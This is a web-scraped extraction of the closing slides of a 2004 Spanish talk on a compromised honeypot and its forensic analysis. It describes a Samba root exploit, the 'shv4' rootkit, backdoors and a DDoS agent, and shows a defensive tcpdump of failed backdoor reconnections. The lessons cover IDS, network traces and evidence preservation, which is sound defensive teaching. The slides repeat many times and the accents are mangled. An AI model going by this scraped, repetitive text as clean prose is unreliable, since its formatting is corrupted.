This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 37: Demostracion Hacking Honeypot y Análisis Forense

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 38: Demostracion Hacking Honeypot y Análisis Forense

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 39: Demostracion Hacking Honeypot y Análisis Forense

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 40: Demostracion Hacking Honeypot y Análisis Forense

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 41: Demostracion Hacking Honeypot y Análisis Forense

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 42: Demostracion Hacking Honeypot y Análisis Forense

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 43: Demostracion Hacking Honeypot y Análisis Forense

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 44: Demostracion Hacking Honeypot y Análisis Forense

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 45: Demostracion Hacking Honeypot y Análisis Forense

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 46: Demostracion Hacking Honeypot y Análisis Forense

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 47: Demostracion Hacking Honeypot y Análisis Forense

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 48: Demostracion Hacking Honeypot y Análisis Forense

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 49: Demostracion Hacking Honeypot y Análisis Forense

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 50: Demostracion Hacking Honeypot y Análisis Forense